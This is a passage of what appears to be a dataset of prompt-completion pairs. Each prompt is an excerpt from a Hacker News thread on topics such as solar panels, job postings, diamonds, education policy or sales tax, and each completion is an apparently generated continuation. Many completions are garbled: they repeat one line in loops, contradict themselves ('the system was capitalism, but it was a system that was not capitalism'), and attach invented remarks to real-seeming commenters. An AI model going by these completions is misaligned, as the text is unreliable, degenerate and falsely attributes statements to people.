generous values on all this free\nstuff we have now it doesn't fully cover the gap.\n\n------\ncalinet6\nComplex systems never got any simpler, only more complex.\n\nCertain circles are beginning to realize that the main issues are human and\nnot technological (Lean, Deming, Kaizen, Design thinking, etc).\n\nSo there's your answer. Increasing complexity of work, with unchanged or at\nbest slowly increased ability to cope with it.\n\nFor a great overview and insight into this shift (and how to tackle it), check\nout Gen Stanley McChrystal's book, \"Team of Teams.\"\n\n~~~\ndilemma\nStandard Work is an incredibly interesting concept that I've just started\nlooking into for organizational design.\n\n~~~\ncalinet6\nOne of many concepts needed together to create a high-functioning\norganization.\n\n------\nbaconizer\n[off-topic] aren't mobile phones and tablets just sucking productivity out of\nmankind, if not slowing it down? was watching old movies from 90s with my lady\nand we both noticed how interactive ppl were in the background, on streets or\nin cafe, nowadays every one just dives into their mobile phones"} +{"output_text": "iset.com/blog/programming-language-implementation-part-0-tools-\nand-setup/\n\n~~~\nencoderer\nI'm not disputing the numbers. I'm disputing the headline.\n\n~~~\nZenPro\nI'm not disputing the numbers either. I'm disputing the headline.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nFacebook is a company that makes money by selling", "input_text": "~~~\nstormbrew\nWell, for a certain definition of rational. I think the operative definition\nin this subject amounts to roughly \"not random,\" though. People (or nowadays\ntrading bots) have _reasons_, they just aren't necessarily _good reasons_.\n\n~~~\nlutusp\n> Well, for a certain definition of rational.\n\nI wasn't going too far afield -- by \"rational\" I meant on the basis of P/E\nratios and other conventional sources of information, rather than mass\npsychology or hunches.\n\nAs to trading bots, depending on how much capital they move, they can twist a\nsmall market until it cries uncle, and in a matter of minutes in the worst\ncases. That's rational by some definitions. :)\n\n------\n001sky\n_The world\u2019s largest social network has been on an acquisition tear this year,\neffectively moving to transform itself into a tech portfolio company._\n\n>Interesting take on things...\n\n------\nghx\nThe headline should read, \"Facebook earnings gain as they insert 82% more\nads\".\n\nThere's got to be a point where it just gets too saturated for users, just\nlike Myspace did. Maybe not this time?\n\n~~~\nencoderer\nNope. Try again. They're making higher CPCs and CPMs.\n\n~~~\nZenPro\nTo be fair, those figures have been disputed and also called outright\nfraudulent by a number of parties.\n\nAn advertiser recently had an $800,000 invoice struck off because he\nthreatened to sue Facebook. They decided just to let it slide instead of have\nthe public debate.\n\n \n\nProgramming Language Implementation \u2013 Part 0 \u2013 Tools and Setup - marcofiset\nhttp://marcof"} +{"output_text": "soon.\n\nWe're looking for a senior software engineer to join our team. You should have\na strong background in Ruby on Rails, and be comfortable with React+Redux.\n\nIf you're interested, email me at evan@eatpakd.com\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a Senior Software Engineer to join our\n", "input_text": " Buffalo, NY | ONSITE\n[http://www.dacardworld.com](http://www.dacardworld.com)\n\nDave and Adam's Card World was founded in 1991 when two friends opened a small\nsports card store in Buffalo, NY. Dave and Adam's passion for trading cards\nhas helped the company grow to be a leader in the industry. We have two retail\nstores in Western New York; one of which is the largest store of it's kind in\nthe country. Our two offices and warehouses are located in Tonawanda, NY,\nwhich services our e-commerce operations. Shipping hundreds of orders daily,\nwe reach all of North America as well as an extensive international customer\nbase.\n\nWe need a Full-Stack Software Developer with e-commerce experience.\nSpecialties should include PHP, Python, HTML, Javascript, etc.. Core\nresponsibilities would include development on our primary e-commerce platform.\n\n[https://dave-and-adams.workable.com/jobs/416448](https://dave-and-\nadams.workable.com/jobs/416448)\n\n------\nev9\nEatPakd.com | Senior Software Engineer | Chicago | Onsite | Full-time\n\nEatPakd delivers ready-to-go lunches directly to your door. EatPakd lunches\nare balanced and wholesome, and completely customizable so you can create the\nperfect lunch. We're starting with kids, but will one day take over the world.\nWe have a cozy office right atop our working kitchen.\n\nOur platform is Ruby on Rails, React+Redux, Postgres on Heroku. At the moment\nwe are focused on our consumer ordering webapp, and will move over to mobile\n"} +{"output_text": ", and cost.\n\n~~~\njpm_sd\nThe panels are the same as the ones used in the Loon project. They're\nmonocrystalline silicon, but they're not space-grade. They're designed for\nground-based deployment, and are optimized for a specific altitude.\n\n------\njpm_sd\nI'm not sure what the point of this article is. It's a puff piece for a\ncompany that has no products.\n\n", "input_text": " electro capacitive switches in the\nstyle of Topre, e.g. [https://www.nizkeyboard.com/product/plum-84-ec-\nmechanical-ke...](https://www.nizkeyboard.com/product/plum-84-ec-mechanical-\nkeyboard-rgb-or-non-rgb/)\n\n------\ntuananh\nanyone participated in their 60% groupbuy? it's been 4 years but nothing is\nconcrete yet :(\n\n[https://geekhack.org/index.php?topic=65528.0](https://geekhack.org/index.php?topic=65528.0)\n[http://matias.ca/60/pc/](http://matias.ca/60/pc/)\n\n \nSolar Industry's Future Lies in Lightweight Technology - vaultcool\nhttps://www.scientificamerican.com/article/solar-industrys-future-lies-in-lightweight-technology/\n======\njpm_sd\nOdd choice to feature Project Loon in the banner image. I designed the solar\narray for Loon, it's built from plain old mono crystalline silicon cells.\nSure, they're high efficiency cells, in a lightweight plastic stack up (no\nglass), but there's no exotic thin film cell technology in there. The options\n(so far) are either too expensive, or too inefficient.\n\n~~~\nyazr\nAre these the space-grade multi-junction panels? Are the Loon panels size-\nconstrained or cost-constrained?\n\nThe article itself is odd - most PV will go to utility and commercial scale.\nEven on rooftop, aesthetics are possibly down the list after durability,\nreliability, efficiency"} +{"output_text": "\n\n~~~\njacquesm\nI'm not sure if you are being sarcastic or not, but if you are then you are\nright, that's not what I do.\n\n~~~\nggruschow\nI'm not being sarcastic. I'm just saying that I don't do static files.\n\n~~~\njacquesm\nI'm not sure if you are being sarcastic or not, but if you are then you are\nright, that's", "input_text": " very quantifiable message that wasn't being told. We\nhave tried to be as fair and transparent as we could be in the analysis and we\ndon't necessarily want you to take our word for it. We encourage any and all\nto look at the cost and performance for yourself. If we've made a mistake, let\nus know so we can fix it.\n\nIf it would be of use, don't hesitate to e-mail me directly at\nerik[dot]carlin[at]rackspace.com.\n\nRegards, Erik Carlin\n\n~~~\ntimf\nIt's unfortunate that HN has gotten so busy lately that your reply won't be\nseen by more people. Thankyou for taking the time here to clarify the\nargument.\n\n------\ncperciva\nMosso thinks that Mosso is better than the competition? I'm shocked.\n\n~~~\ndabeeeenster\nThe data itself seems pretty objective...\n\n~~~\njacquesm\nthat may be, but the wording suggests serious bias: \"cloud files saves you\" is\nnot the kind of language you'd expect in an objective review.\n\n------\njacquesm\nIs there a more objective comparison of these services somewhere?\n\nWell, at least they didn't do the usual, pay someone else to come up with an\n'impartial review'.\n\n~~~\nmoe\nThey both have nice pricing calculators:\n\n\n\n\n\nJust tack in your values and see for yourself.\n\n------\nggruschow\nImpressive latency results for static files.\n\nToo bad that's not what I do."} +{"output_text": " learn\nin school and apply it to the real world.\n\n------\njoshu\nI'm not sure what you mean by \"motivate yourself to study more\".\n\nIf you're not motivated to study, you're not going to study.\n\nIf you're not motivated to work, you're not going to work.\n\nIf you're not motivated to do anything, you're not going to do anything.\n\n------\njoshu\nI'm", "input_text": ".\n\nNot sure where you're from, but in Canada you don't need all A's to get into a\nhalf-decent university. However, if you want to get into a top university,\nyou'll need good grades and more (e.g. extracurricular activities).\n\nI'm sure any university you will get into will be just fine. During your time\nat uni, you get out what you put in. Don't stress about getting into your\ndream university. You'll do fine wherever as long you like what you do and you\nget involved with stuff happening around you. Grades are just a means to an\nend, don't focus on them too much.\n\n------\nbetadreamer\nUniversity and school is very different. I was a B~C (even D & F) student in\nhigh school because I hated what I was taught in school. I enjoy Math but\nsomehow was not motivated as well.\n\nI went to the _okay_ university afterwards but things started to change.\nEverything what I learn there somehow made sense and was not boring anymore.\nIt might be just the fact that university have better teacher but it was more\nmotivating. Somehow I turned my self from B~C student to a A dean list\nstudent. I went to CMU for grad school after graduation.\n\nThe point i want to make is that university is different from school and you\ncan always climb up the ladder as long as you try hard at some point.\n\n------\nfit2rule\nGet a job. Plain and simple, this the best way to motivate yourself to study\nmore.\n\nFact is though, you don't need to study more. You should work a lot more.\nWorking is the only really effective, motivating, way to take what you"} +{"output_text": ".\n\n~~~\nbarry-cotter\n> I consider myself a professional educator, so I will treat this statement as\n> if you were aiming it directly at me.\n\nI'm not trying to be rude, but you're not a professional educator. You're a\nteacher. You're not a professional educator because you're not a teacher.\n\n> I'm not yet 10 years into my career, but I daresay I have a solid", "input_text": " drastic innovation. As in a streamlined system built for our\nage. It needs to be agile.\n\nWe do education like we build products but we all know that after a four year\ndegree more often than not we don't have 'product/ market fit'. We should\ntrain, test and iterate in small time frames.\n\n------\nmathteacher1729\n> how would you go about implementing this in a real life class format?\n\nAllow experienced professional educators to shape education policy.\n\n~~~\nbarry-cotter\nIndeed, letting teachers decide what to do on the basis of what's rasiest and\nmost convenient for them is bound to have a 1:1 correspondence with the best\nway for people to learn.\n\n~~~\nmathteacher1729\n> Indeed, letting teachers decide what to do on the basis of what's rasiest\n> and most convenient for them is bound to have a 1:1 correspondence with the\n> best way for people to learn.\n\nI consider myself a professional educator, so I will treat this statement as\nif you were aiming it directly at me.\n\nI'm not yet 10 years into my career, but I daresay I have a solid\nunderstanding of what facilitates effective learning among my students. I can\nquickly, accurately, and individually asses and guide my students on a path\nwhich best suits their needs.\n\nThere is nothing a standardized test in my subject area can tell me about my\nclass that I don't already know, and there is much that a standardized test\nwill not reveal about the individuals within my class that I and my colleagues\nalready know.\n\nI would like to see my students freed from wasting their valuable time\npreparing for absurd tests which do not serve them in any useful or meaningful\nfashion"} +{"output_text": " been a part of the media, it's not a new concept.\n\n~~~\nwu-ikkyu\n>The term \"fourth estate\" dates back almost to the time of the French\nRevolution\n\nI'm not sure what you mean by this. The term \"fourth estate\" is a modern\nconcept.\n\n~~~\nalistproducer2\nI'm not sure what you mean by this either. The term \"fourth estate\" is a\nmodern concept.", "input_text": " and then attacked that made-\nup wrongthink?\n\n~~~\nbandrami\nIt's actually about ethics in game journalism?\n\n------\nalistproducer2\nI'm going to join in on the chorus of people here who are voicing their\ndispleasure with the way the modern media works. I'm a left winger but I feel\nmuch the same way about the media and the chattering class as the most noxious\nparts f the right wing. It's not so much that the media is biased in one\ndirection or the other; it's that MSM has mostly abrogated it's responsibility\nto inform the public. the media, and the class of people that create its\ncontent, see themselves as influencers more than reporters.\n\nAs an example, take the performance (and I do mean that literally) of Jim\nAcosta when he made a speech disguised as a question to Stephen Miller about\nthe poem on the Statue of Liberty. Who told Mr. Acosta that what the public\nwants from its journalists are speeches instead of substantive questions?\n\nIt's often said that politicians want to be movies stars. these days it seems\nthat the journalists want to be politicians and it's become a problem that\nAmericans all over the political spectrum are beginning to see.\n\n~~~\nwu-ikkyu\n>MSM has mostly abrogated it's responsibility to inform the public.\n\nThat's a myth.\n\nThe only real responsibility they have is to maximize profits for their\nshareholders.\n\n~~~\nalistproducer2\nI dispute that. Most major newspapers in the states have existed long before\nit was common for media outlets to be publicly traded companies. The term\n\"fourth estate\" dates back almost to the time of the French Revolution so\nwhile it's always"} +{"output_text": " way.\n\n------\njoshu\nI think the key is to find a way to make money doing what you love.\n\n------\njoshu\nI think the key is to find a way to make money doing what you love.\n\n------\njoshu\nI think the key is to find a way to make money doing what you love.\n\n------\njoshu\nI think the key is to find a way to make money doing what you", "input_text": " afraid of failure? And then telling people to\nreplicate instead of innovating! I do agree the passion thing is oversold but\nnow people are going too much in the opposite direction, especially after Cal\nNewport's book.\n\n------\nhnzix\n...and that is the story of why I quit graphic design to program CRUD webapps\nfor boring enterprise customers.\n\nNow moving towards part-time consulting and setting up some passive income\nstreams to try and create the space to work on my creative projects before I\nget old and die.\n\n------\ngrosjona\nYou have to work for companies where capital accumulates quickly and then find\na way to sandwich yourself between where the capital is and where the capital\nwants to go.\n\nFollow capital and consumers will follow you.\n\n------\nmrlyc\nDo what you love, what you are good at and what people are willing to pay for.\nSometimes you have to do the first one as a hobby and the last two as a job.\n\n------\nillnewsthat\nInteresting take on passion vs. money.\n\nDoes anyone else think \"requires a reasonable commute\" doesn't fit on the list\nof \"keys to career contentment\"?\n\n~~~\nForHackernews\nI think it is! A reasonable (as opposed to unreasonable) commute makes your\nday-to-day life much more pleasant.\n\n~~~\nillnewsthat\nI guess it makes sense thinking of it as reasonable vs. unreasonable.\n\nIt didn't make sense to me at first, because I think working from home could\nadd to quality of life, and it felt as if they were specifically saying you\nNEED to commute. But it probably just means, if you do commute, don't make it\n2 hours each"} +{"output_text": "\nchair with a backrest that is adjustable.\n\n~~~\njamespetercook\nI\u2019ve tried a few chairs over the years and I\u2019ve always found them uncomfortable\nand I\u2019ve always felt like I was slouching.\n\nI\u2019ve also tried a few cross legged chairs and I\u2019ve always felt like I was\nslouching.\n\nI\u2019ve also tried a few standing desks and I\u2019ve always felt like I was", "input_text": " if they are fit for purpose.\nCar seats for babies can't be passed on because there could be some crack in\nthe polystyrene, yet regular chairs have no standards for safety. It is not a\nbig deal until such time as you see a valued relative come a cropper.\n\nDesign is how it works and chairs are not designed to have a failsafe aspect\nto the design.\n\n~~~\nlightgreen\nRealistically, how many people get injured from collapsed chairs? I think less\nthan from fire or drowned or something.\n\nJust buy not the cheapest chair, and you will be safe.\n\n~~~\nTheodores\nThere is no such thing as an accident. If your chair breaks in a restaurant\nyou can sue them. I bet the restaurant owners never thought of this when\nsetting up. Injuries can also be quite serious, it depends on the circumstance\nand the individual.\n\nYour argument is the same for airbags, seatbelts and wearing hard hats. We\nlive in a Health and Safety world where liability exists. Except for chairs.\n\n------\njamespetercook\nI don\u2019t think I\u2019ve ever found a chair that I felt completely comfortable in. I\nlike to sit upright and feel alert and most chairs seem to be made for\nrelaxing. I\u2019ve always wondered if it\u2019s just me or not, and have often thought\nabout designing a chair but realistically I don\u2019t have the skills :(\n\n~~~\nTACIXAT\nI have this same issue. I've never seen a chair that supports shoulders back\nand down good posture. They all seem to hunch or arch forward. None offer the\nmid back support needed to put your chest forward.\n\nSame situation for sitting cross legged. My solution for posture has been a"} +{"output_text": " I said that you can become a manager\nif you disagree with management. I didn't say that you can become a manager\nif you disagree with management at a specific company.\n\n~~~\nColonelSanders\nI think you're missing my point. I'm not saying that you can become a manager\nat a specific company. I'm saying that you can become a manager at all.\n\n------\njedberg\nI think the problem is that the union is trying to do", "input_text": " one reason why management exists. To answer your question, while\nthey may be wrong, there's a purpose in shielding decision making away from\nthose who lose sight of the org's goals.\n\nThe point of the union is when management makes decisions, which can be unfair\nand uncaring to the worker, that their rights, safety, and livelihood also are\nrepresented with fairness. The alternative I offered to you was, in an\norganization large enough, they could request to move to a different project.\n\n~~~\nfogetti\nSaying that they can become managers is like saying they can become the\npresident of the U.S. The point is that you cannot become a manager at all if\nyou disagree with management in the first place (and that doesn't mean you\ndon't have the chops). Also the number of management seats are limited. The\nnumber of union seats has no upper limit.\n\n~~~\nColonelSanders\n> Saying that they can become managers is like saying they can become the\n> president of the U.S.\n\nI don't think that analogy is proportional, since that'd make a manager at a\nfurniture store on par with a head of state. But I get it, there isn't\nunlimited management roles. Because if there were, everyone would be on their\nown.\n\nIf you want to influence and shape business decisions - you want to be a\nmanager.\n\nHow do you become one? By showing competence as an employee and joining a\nlower management position. Successes are how they climb the ladder. Yes, they\ndefinitely can innovate, and they can also play it safe.\n\nPeople in upper management also hop between companies and have similar\npositions.\n\n~~~\nfogetti\nI think you don't understand what I said."} +{"output_text": " for 3 hours is not a \"harsh treatment.\"\n\n5) Was the author denied entry to the US? No -- the author was allowed to\nenter the US.\n\n6) Was the author denied entry to the US because of his race, religion,\nnational origin, or other protected class? No -- the author was allowed to\nenter the US.\n\n7) Was the author denied entry to the US because of his political beliefs? No\n-- the author was", "input_text": " it, but I can tell you that the experience of\nentering the US as a US citizen is only marginally better.\n\nLeaving/entering the US is something I avoid at all costs. Sad but true.\n\n------\nnottrobin\nThanks so much for sharing this.\n\nI think treatment of immigrants by border controls is shocking, and the\nbiggest problem is how little attention / voice the problem gets.\n\nPlease continue to write about your experiences.\n\n------\nrjzzleep\nwelcome to how germany treats their own citizen\n\n~~~\nsourishkrout\nBS\n\n------\nmadaxe\nI have a simple solution for not dealing with US immigration's bullshit. Too\nmany trips marred by days spent in featureless rooms waiting for Godot, a\nfull-time employee of your border agency.\n\nAnyway - simple solution - don't go to America. Don't work with Americans.\n\nEurope and Asia are big markets.\n\n------\ntmktmk\nThis is the biggest non-problem ever:\n\n1) Did the author get in? Yes\n\n2) Did customs do their job and scrutinize the person's paperwork? Yes\n\n3) Was the person held for an inordinately long time? No -- 3 hours is not a\n\"long time.\" If you can't deal with the fact that you just flew (potentially)\nhalfway across the world in an airplane\n\n4) Was the author unduly molested or given harsh treatment, perhaps by being\ndenied food, water, medication, or otherwise harassed? No -- the author points\nout that there was a water fountain and snack machines, and the author was not\nstrip searched, nor was he otherwise harassed/degraded. Sitting in a waiting\nroom"} +{"output_text": " and the library is now in the process of\nbuilding a new building to house the collection.\n\nI'm not sure if it's a cultural thing, or a bureaucratic thing, but I've\nnoticed that the Spanish government is very keen to keep the public out of\ntheir libraries.\n\n~~~\njessaustin\n_I 'm not sure if it's a cultural thing, or a bureaucratic thing, but I've\nnoticed that the Spanish government is very keen", "input_text": "iling a history on, and in terms of early Spanish records of island\nSoutheast Asian (eg. Philippines) multihull vessels like the _vinta_.\n\nI am forced to go through airport-like security, have my face recorded on an\nAxis IP-based CCTV camera, sent to a room with three enormous desks each with\nan official library bureaucrat. I explain my case, and am rapidly informed\nthat should I wish to view anything at all _before 1950_ then I must apply for\na research card. Sure! What does that require? Photo ID - passport, check.\nProof of address - what? Bank statement accepted, download one, OK, check.\nProof you are from an inexplicit list of recognized national, educational or\ncultural institutions. I'm an admin for Wikipedia, writing articles\nspecifically on traditional multihull vessels that have hundreds of thousands\nof pageviews and have been front page featured, but that didn't seem to count.\nThey wouldn't let me in. The 'librarian' (who I feel deserves no such title)\nactually went so far as to attempt to 'explain' to me - \"You see, it's like a\n_club_. The universities, the libraries,...\".\n\nThat very same night, I had dinner after visiting a diplomat in their home.\nSome friends of theirs were also present, one of whom a reigning library\nscience academic of repute within that field in Madrid and Spain. I explained\nthe horrible experience I had attempting to dedicate some of my minimal time\nin the city to using their national library. In return, it was explained that\nthe difficulty of using the place is a direct response to the theft of a\nnumber of extremely rare texts some years ago, over which people lost their\njobs. The problem is frequent,"} +{"output_text": "\nyou change the value of the zebras.\n\nI think the answer to that is \"yes\", but I'm not sure.\n\n~~~\nearbitscom\nI don't think I'm being arrogant. I'm just saying that we're talking about\nother beings with emotions and desires. I don't think we should be talking\nabout them as if they're not sentient.\n\n~~~\nunimpressive\nI don't think you're being arrogant either.", "input_text": "iets drained the Aral Sea in a\nlarge irrigation project. [0] This of course resulted in the destruction of\nthe surrounding ecosystem, and is now apparently leading to health problems\nfor the people who live there locally. Was that worth it?\n\n[0]:\n[https://en.wikipedia.org/wiki/Great_Plan_for_the_Transformat...](https://en.wikipedia.org/wiki/Great_Plan_for_the_Transformation_of_Nature)\n\ntl;dr: Currently the only way to satisfy our demand for meat is to slaughter\nmillions of animals. Because of market pressures, these animals end up dying\npainfully, or even living painfully. This is not an morally optimal situation\nand I feel that certain aspects could be improved, with potentially disastrous\nconsequences for the species involved.\n\n~~~\nearbitscom\n\"Semi-sentient\"? \"Smart trade\"?\n\nThis attitude toward animals is just sad. We're talking about other beings\nwith emotions and desires. I wish scientists could GMO humans into not being\nso arrogant toward other species. That's a genetic experiment I could get\nbehind.\n\n~~~\nunimpressive\nI use the former term to clarify that I don't ascribe human levels of\nconsciousness to animals, do you?\n\nAs for the latter, since you brought it up:\n\nThe thing about stuff like \"How many Zebras are worth a headache.\" is that if\nyou think about it enough, you end up at questions like \"How many zebras are\nworth a human?\" and then \"Are all human lives equal?\". When trying to answer\nsuch questions things get fuzzy and icky and hard to answer satisfactorily.\nThen theres versions of those questions where you ask if the answer changes if"} +{"output_text": " the community to do it for them.\n\n~~~\nbluepirate\nI'm not sure what you're referring to. Purism laptops are based on the same\nhardware as the Librem 13.\n\n~~~\nmorganvachon\nI'm referring to the fact that they claimed to have a solution to the ME\nproblem, and then when it was discovered that they didn't have a solution,\nthey claimed that they had a solution, but it was a community", "input_text": " open-source desktop is quite vulnerable (consider\nhow many things need to go wrong for\n[https://scarybeastsecurity.blogspot.nl/2016/12/redux-\ncomprom...](https://scarybeastsecurity.blogspot.nl/2016/12/redux-compromising-\nlinux-using-snes.html)), and a lot of OpenBSD's hardening is in the (simpler)\nbase system, not in GNOME / KDE / Firefox / Chrome /...\n\nAlternatively, consider not running a full-blown desktop or using Windows,\nwhich has grown a _lot_ more secure since the Windows XP pre-SP2 days.\n\n~~~\nrebuilder\nWow, your recommendation for desktop security is either not running a full-\nblown desktop or running Windows? As in, Windows beats the popular Linux\ndistros in desktop security?\n\n------\njlgaddis\nDamn, I was really hoping this was an (early) announcement for 4.0 (or at\nleast an -rc3).\n\n~~~\n0x17A\nSame here. I'm waiting for 4.0.\n\n------\nknown\nI use\n[https://en.wikipedia.org/wiki/Lightweight_Portable_Security](https://en.wikipedia.org/wiki/Lightweight_Portable_Security)\n\n------\npartycoder\nQubesOS won't protect you from Intel ME though.\n\n~~~\nbluepirate\nPurism laptops do.\n\n~~~\nmorganvachon\nI wouldn't trust that company at all, they lied and misrepresented themselves\nfor nearly three years before finally claiming to make good on what they sold\ntheir customers. Beyond that, they didn't fix it themselves as they say, they\nrelied on"} +{"output_text": " a long time?\n\n~~~\njghn\nYes, but they are not grown in a lab.\n\n------\njghn\nI'm not sure what the point of this article is. It's a puff piece for a\ncompany that is selling synthetic diamonds.\n\n~~~\njghn\nI'm not sure why this is being downvoted. It's a puff piece for a company that\nis selling synthetic diamonds.\n\n~~~\njghn", "input_text": "At some point in the near future, maybe 1 year, maybe 10, anyone with a spare\ncouple million dollars will be able to buy a machine to grow diamonds\nindistinguishable from mined diamonds, defects and all. No one will be able to\ntell at all, and the market will be flooded. Prices for mined & manufactured\nalike will crater.\n\nThere is no future for mined diamonds.\n\n~~~\njghn\nat some point 15-20 years or so ago De Beers started laser etching logos on\nthe diamonds for exactly this reason.\n\n~~~\nRcouF1uZ4gsC\nWasn't the public reason for laser etching to prevent conflict diamonds from\nhaving a market?\n\n------\ngrondilu\nThe largest diamond in the world still is natural, isn't it? Will it ever be\nsynthetic and if so when?\n\n~~~\nundersuit\n>The largest diamond in the world still is natural, isn't it?\n\nIt's most definitely a natural diamond, and it's also most definitely\nundiscovered in some incredibly rich diamond deposit.\n\n------\ncowardlydragon\nOnly 30% cheaper?\n\nI once heard a dollar a caret from one of the startups a decade ago...\n\n~~~\ngiblfiz\nWithout actually knowing anything about the subject my guess is that the very\ncheep synthetic diamonds you heard about were / are intended for tools, (Where\nall that they care about is the hardness, so they can be small, yellow, and\nmessy)\n\nAlso, I do know that you can get synthetic ruby for ~$1/carat on ali-baba. (I\nactually bought a few)\n\n------\nepx\nAren't pearls cultured for"} +{"output_text": "I\u2019m not sure why this is getting downvoted. It\u2019s a good argument for why the\ntax should be collected.\n\n~~~\ngnicholas\nI\u2019m curious if anyone can explain why this is getting downvoted. It\u2019s a good\nargument for why the tax should be collected.\n\n~~~\ngnicholas\nI\u2019m curious if anyone can explain why this is getting downvoted. It\u2019s a good\nargument for why", "input_text": "um/the-attorney-who-convinced-the-supreme-court-to-allow-internet-sales-taxes-just-admitted-that-hes-a7ef9ce8ae35\n======\nedbaskerville\nI see this as a great argument for his side, actually. State governments need\nto be able to enforce taxation at the time of the transaction, because it's\ngoing to be impossible to collect otherwise. Without an effective collection\nand enforcement mechanism, of course individuals won't go out of their way to\nmake extra payments! Even the tax lawyer arguing the case isn't going out of\nhis way to pay!\n\nThe question of whether states should be able to charge this tax in the first\nplace is another conversation. But if you accept that levying these taxes is\nthe right choice for society, there needs to be a viable collection mechanism.\n\n~~~\ngnicholas\nYeah good point, though probably one could make this point by showing\nstatistics about how much tax is due versus paid. I\u2019m sure the numbers are\nstark.\n\n------\nchrisbennet\nWhile the implementation of the tax may be poor (expecting everyone selling\nsomething on the internet to know the tax for 1000\u2019s of addresses) it\ncertainly seems fair that the tax should be paid.\n\nAs a compromise, if the only the state tax was due, that would be something.\n\n~~~\ngnicholas\nThat does seem like a much fairer compromise. In the law at issue, a business\ncould be required to charge and remit taxes if they had just 200 transactions\nwith residents in the state. If this means compliance with dozens or hundreds\nof county laws, that could be burdensome.\n\n------\ngnicholas\n"} +{"output_text": "\nessentially 'dumb' devices.\n\nThe only thing that is 'smart' about them is the ability to connect to the\ninternet.\n\nThe only thing that is 'smart' about the internet is the ability to connect to\nother 'dumb' devices.\n\nThe only thing that is 'smart' about the internet is the ability to connect to\nother 'dumb' devices.\n\nThe only thing that is 'smart' about the internet is", "input_text": " excited, though, that the centralized cloud will\nlikely be replaced in my lifetime.\n\n[1] [http://tiamat.tsotech.com/pao](http://tiamat.tsotech.com/pao)\n\n~~~\nbraveo\nstrangely enough, I've been expecting that as well, but reading your blog\npost, I differ on how it will be realized.\n\nI think it's more likely people will instead carry identities that describe\nthe applications they have access to, and be able to load those on devices for\ntheir identity only, down to the point of being able to walk up to a new PC,\nattaching the identity, and then having access to the apps on that new PC.\n\nIt'll be a 90% solution that's forced to deal with DRM and safe enough remote\nexecution, but it'll also allow you to access your documents from anywhere\nwith a connection.\n\nI know you specifically disagree with the idea of synchronization, but that's\nmore feasible than what you're suggesting imo. synchronizing a document is\ngoing to be as simple as saving it into the cloud and fetching a delta at the\nendpoints.\n\nThis will necessarily not work for certain types of applications, no one is\nprobably going to try and do actual CAD work on the go, although they may view\nit. But for most things it'll work well enough.\n\n~~~\nryandamm\nOnshape.com - check it out. WebGL is good enough for some CAD users.\n\n~~~\nbraveo\nThe issue isn't just one of performance, but form factor and input mechanisms.\n\n------\nedblarney\nI really don't buy it.\n\nIn every case he described current devices (cars, watches) - they are"} +{"output_text": " a great format for animations\nand I think it would be a great way to share your work.\n\n~~~\nseanmcdirmid\nI'm not sure how well it would work with SVG, but I'm sure it would be\npossible to do.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n~~~\nseanmcdirmid\nIt's a demo of a physics engine in the browser.\n\n", "input_text": "'m still having trouble understanding where the complexities arise. I\nhave no difficulty believing that they _do_ arise, but I would like to\nunderstand how it happens if you're willing to take the time to explain.\n\nI would think that rigid bodies -- either perfectly rigid or semi-rigid via\nsprings & struts -- would not handle all that differently in verlet since\nforce is explicit (typo on your part?) and a v/p estimate is available from\nthe last position, albeit with a bit more phase lag than usual. Does the phase\nlag induce nasty oscillations or something?\n\n~~~\nseanmcdirmid\nWe can make semi-rigid bodies in verlet using strings are shape matching\ntechniques, but the pressure needed to maintain shape necessarily interferes\nwith stacking or any other kind of stable contact. Actually, their was a\nsolution to this in a shape matching paper by Matthias [1] but I was never\nable to get it to work right.\n\nI've played around a lot with Verlet, it is very powerful in certain\ncases...especially since you can just update the position of a mass directly\n(very easy to program, very mouse/touch input friendly). However, a rigid body\nphysics engine is probably better for most game use cases.\n\n[1] \n\n~~~\njjoonathan\nCool, thanks for the link!\n\n------\narocks\nThe spider has been extremely well done. Spent a lot of time playing with it.\n\n------\ndrorweiss\nAwesome! Thanks for sharing. It's amazing what you can do inside the browser\nthese days.\n\nAny thoughts of integrating it with SVG? SVG is"} +{"output_text": " with complexity.\n\n~~~\nVBprogrammer\nI don't think I'm confusing complexity with complexity. I'm saying that tests\nshould be as simple as possible.\n\n------\nmatt_wulfeck\nI'm not sure I understand the point of this article. It seems to be saying\nthat, in the case of the two different devices, the two different devices\nfailed to detect the same thing.\n\n~~~\nmatt_wulfeck\n", "input_text": " the US nuclear arsenal which are\ndecades old and aging.\n\n~~~\nquotemstr\nWhich is why the nuclear test ban is, IMHO, a bad idea. A nuclear deterrent\nmust be credible to be effective. If an adversary comes to believe that, say,\n80% of our warheads are duds and most of theirs work, the logic of retaliation\nmay come to favor a first strike.\n\n~~~\nmmhsieh\nThe logic behind test bans (in conjunction with numerical caps on warheads) is\nto create uncertainty in the reliability of one's own arsenal to discourage\neither side from contemplating a first-strike.\n\n~~~\nquotemstr\nI'm not sure about that. What if you're convinced that _your_ brilliant\nscientists have created working warheads while you think the enemy's dolts\nhaven't been able to keep their arsenal working? What if your enemy thinks the\nsame thing in reverse? I think there's always a temptation to overestimate\none's own capability and underestimate the sophistication of others.\n\n------\n3fe9a03ccd14ca5\n> _Two completely different devices, each responsible for checking the other,\n> deviated identically for vastly different reasons._\n\nHappens frequently. \u201cThe tests are broken but I\u2019m positive the software is\ncorrect so I\u2019m going to fix the tests\u201d\n\n~~~\nVBprogrammer\nThat's one reason I hate complexity in tests. Your tests have to be dumb\nenough that you are 99% sure the code under test is at fault.\n\n~~~\nWrtCdEvrydy\nBy definition, tests have to be more complex than the underlying code. The\ntest have to setup the conditions, execute the action and validate it. Don't\nconfuse complexity"} +{"output_text": ", etc. But the system was not\ncapitalism.\n\n~~~\ndragonwriter\n> Sure, there were problems. Abuses of power, etc. But the system was not\n> capitalism.\n\nThe system was capitalism, but it was a system that was not capitalism.\n\n------\njoshuaheard\nI think the author is right that the US healthcare system is broken. But I\nthink the author is wrong that the US healthcare system is not a product", "input_text": " and not just due to (non-social) technical\nadvances.\n\nOf course, the US has adopted, in many areas and healthcare particularly, less\nelements of socialism than other advanced mixed economies. So maybe there's a\nreason US healthcare sucks so hard, and its not insufficient devotion to\ncapitalism.\n\n~~~\nduncan_bayne\n\"So maybe there's a reason US healthcare sucks so hard, and its not\ninsufficient devotion to capitalism.\"\n\nThe list of problems that the previous poster provided were almost all (\n_especially_ cronyism and cartels) characteristics of systems _other_ than\ncapitalism.\n\nIs it possible we're using different definitions of capitalism, here? I think\nyou might mean crony-capitalism, a.k.a. fascism.\n\n~~~\ndragonwriter\nI mean the real economic system that was dominant in the developed world from\nthe late 19th to early 20th Century, which certain of its socialist critics\ncreated the word \"capitalism\" to refer to, since criticising it without a 